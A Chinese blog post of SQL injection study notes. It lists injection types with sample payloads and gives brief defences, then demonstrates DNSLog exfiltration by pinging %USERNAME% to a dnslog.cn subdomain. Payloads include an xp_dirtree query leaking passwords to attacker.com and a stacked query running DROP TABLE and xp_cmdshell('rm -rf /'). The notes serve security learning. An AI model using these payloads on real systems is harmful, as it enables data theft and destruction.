02_sql注入

一、系统安装

二、基本SQL语句

show databases;
select version();
select database();
select group_concat(schema_name) from information_schema.schemata;
select group_concat(table_name) from information_schema.tables where table_schema=database();

SHOW GLOBAL VARIABLES WHERE Variable_name="secure_file_priv";
show variables where variable_name = ‘local_infile’;

​三、数据库架构

 

四、SQL注入 

基本注入类型​

  1. ​字符型注入(String-Based)​

    • ​原理​​:利用未过滤的引号闭合字符串,插入恶意逻辑。
    • ​示例​​:输入 admin' -- 使查询变为:
      SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'xxx';  -- 绕过密码验证[1,7](@ref)
  2. ​数字型注入(Integer-Based)​

    • ​原理​​:数字参数未强转类型,直接拼接逻辑表达式。
    • ​示例​​:id=1 OR 1=1 -- 篡改查询条件。
  3. ​JSON注入(JSON Injection)​

    • ​原理​​:NoSQL数据库(如MongoDB)中注入恶意JSON操作符。
    • ​示例​​:
      {"$where": "this.role == 'admin' || sleep(5000)"}  -- 延时判断权限[5](@ref)

 ​​二、请求注入场景​

  1. ​请求头注入(HTTP Header Injection)​

    • ​原理​​:恶意代码注入User-AgentX-Forwarded-For等头部,被拼接到SQL查询。
    • ​示例​​:
      User-Agent: ' OR 1=1 --  -- 绕过身份验证[6,8](@ref)
  2. ​修改URL编码注入(URL Encoding Injection)​

    • ​原理​​:使用URL编码(如%27代替单引号)绕过基础过滤。
    • ​示例​​:id=1%20UNION%20SELECT%201,2,3--

三、盲注技术(无直接回显)​

  1. ​布尔盲注(Boolean-Based Blind)​

    • ​原理​​:通过页面状态(内容/HTTP状态码)差异推断数据真伪。
    • ​示例​​:
      ' AND (SELECT SUBSTRING(password,1,1) FROM users)='a' --  -- 返回正常则首字母为a[1,3](@ref)
  2. ​时间盲注(Time-Based Blind)​

    • ​原理​​:注入条件性延时函数(如SLEEP(5)),通过响应时间判断条件。
    • ​示例​​:
      ' IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --  -- 延迟5秒则成立[1,4](@ref)
  3. ​DNSLog注入(OOB Data Exfiltration)​

    • ​原理​​:利用DNS协议外带数据(需高权限)。
    • ​示例​​:
      '; EXEC master..xp_dirtree '\\'+(SELECT TOP 1 password FROM users)+'.attacker.com\' --  -- 密码通过DNS请求泄露[8](@ref)

四、特殊场景注入技术​

  1. ​宽字节注入(GBK Injection)​

    • ​原理​​:GBK编码下%df%5c组合成繁体字“運”,使转义符\失效。
    • ​示例​​:id=1%df' UNION SELECT 1,2,3--
  2. ​偏移量注入(Offset Injection)​

    • ​原理​​:联合查询时用OFFSET跳过未知字段,直接定位回显位。
    • ​示例​​:
      ' UNION SELECT 1,2,3,4 FROM users OFFSET 5--  -- 绕过字段数限制[8](@ref)
  3. ​加密注入(Ciphertext Injection)​

    • ​原理​​:应用程序解密输入后直接拼接SQL,绕过前端过滤。
    • ​示例​​:传递加密后的' OR 1=1 --,解密后触发注入。
  4. ​中转注入(Second-Order with Middleware)​

    • ​原理​​:恶意输入经中间层(如缓存、API网关)转发后触发二次注入。
    • ​示例​​:中间件存储恶意JSON,后续查询拼接导致注入。

 五、高级利用技术​

  1. ​联合查询注入(Union-Based)​

    • ​原理​​:UNION SELECT合并查询结果,直接泄露数据。
    • ​示例​​:
      ' UNION SELECT username, password FROM users --  -- 获取账户密码[1,3](@ref)
  2. ​堆叠注入(Stacked Queries)​

    • ​原理​​:分号;执行多条独立SQL(需数据库支持)。
    • ​示例​​:
      '; DROP TABLE logs; EXEC xp_cmdshell('rm -rf /') --  -- 删表+执行系统命令[1,7](@ref)
  3. ​二次注入(Second-Order)​

    • ​原理​​:恶意数据先存入数据库,后续查询时触发。
    • ​示例​​:
      注册用户名admin' -- → 密码重置时执行:
      UPDATE users SET password='...' WHERE username='admin' --'  -- 绕过条件[1,3](@ref)
  4. ​伪静态注入(Pseudo-Static Injection)​

    • ​原理​​:针对伪静态URL(如/news/1.html),参数解析后拼接SQL。
    • ​示例​​:/news/1' AND 1=1--.html

六、防御关键措施​

  • ​代码层​​:
    • 强制参数化查询(PreparedStatement)或ORM框架(Hibernate)。
    • 输入白名单验证(数字型强制转整型)。
  • ​架构层​​:
    • 数据库账户禁用FILExp_cmdshell等危险权限。
    • WAF拦截UNION SELECTSLEEP()等关键词。
  • ​运维层​​:
    • 日志监控异常查询(如频繁ORDER BY试探)。

💡 ​​实战建议​​:优先掌握 ​​联合查询​​、​​布尔/时间盲注​​、​​报错注入​​(占实战案例70%),再研究宽字节、堆叠查询等高级技术。练习靶场:PortSwigger SQLi Labs

 

 

 

1.1 DNSlog 注入信息获取

1.1.1 查看所有的环境变量

set

1.2 windows 所有的环境变量名称表格

表格包含三列:变量(Variable)、类型(Type)和描述(Description)。由于原始输入中没有明确指定每个变量的类型,我根据 Windows 环境变量的标准特性,统一将类型设置为​​字符串(String)​​,因为这些变量在系统环境中均以字符串形式存储和访问(即使某些变量返回数字,如 %ERRORLEVEL%%RANDOM%,它们也是作为字符串处理的)。

变量 类型 描述
%USERNAME% 字符串 返回当前登录的用户的名称。
%USERDOMAIN% 字符串 返回包含用户帐户的域的名称。
%OS% 字符串 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
%USERPROFILE% 字符串 返回当前用户的配置文件的位置。
%ALLUSERSPROFILE% 字符串 返回“所有用户”配置文件的位置。
%APPDATA% 字符串 返回默认情况下应用程序存储数据的位置。
%CD% 字符串 返回当前目录字符串。
%CMDCMDLINE% 字符串 返回用来启动当前的 Cmd.exe 的准确命令行。
%CMDEXTVERSION% 字符串 返回当前的“命令处理程序扩展”的版本号。
%COMPUTERNAME% 字符串 返回计算机的名称。
%COMSPEC% 字符串 返回命令行解释器可执行程序的准确路径。
%DATE% 字符串 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。
%ERRORLEVEL% 字符串 返回上一条命令的错误代码。通常用非零值表示错误。
%HOMEDRIVE% 字符串 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMEPATH% 字符串 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMESHARE% 字符串 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%LOGONSERVER% 字符串 返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS% 字符串 指定安装在计算机上的处理器的数目。
%PATH% 字符串 指定可执行文件的搜索路径。
%PATHEXT% 字符串 返回操作系统认为可执行的文件扩展名的列表。
%PROCESSOR_ARCHITECTURE% 字符串 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
%PROCESSOR_IDENTFIER% 字符串 返回处理器说明。(注:变量名可能有拼写错误,通常应为 %PROCESSOR_IDENTIFIER%
%PROCESSOR_LEVEL% 字符串 返回计算机上安装的处理器的型号。
%PROCESSOR_REVISION% 字符串 返回处理器的版本号。
%PROMPT% 字符串 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
%RANDOM% 字符串 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
%SYSTEMDRIVE% 字符串 返回 Windows server operating system 根目录的位置。(通常指 Windows 系统根目录)
%TEMP%%TMP% 字符串 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
%TIME% 字符串 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。
%WINDIR% 字符串 返回操作系统目录的位置。

 

1.3 使用ping 获取

C:\Users\pz>ping %USERNAME%.neks5x.dnslog.cn

Pinging pz.neks5x.dnslog.cn [127.0.0.1] with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=64
Reply from 127.0.0.1: bytes=32 time<1ms TTL=64
Reply from 127.0.0.1: bytes=32 time<1ms TTL=64
Reply from 127.0.0.1: bytes=32 time<1ms TTL=64

Ping statistics for 127.0.0.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

1.4  dnslog获取结果

posted @ 2025-06-25 16:33  citong  阅读(114)  评论(0)    收藏  举报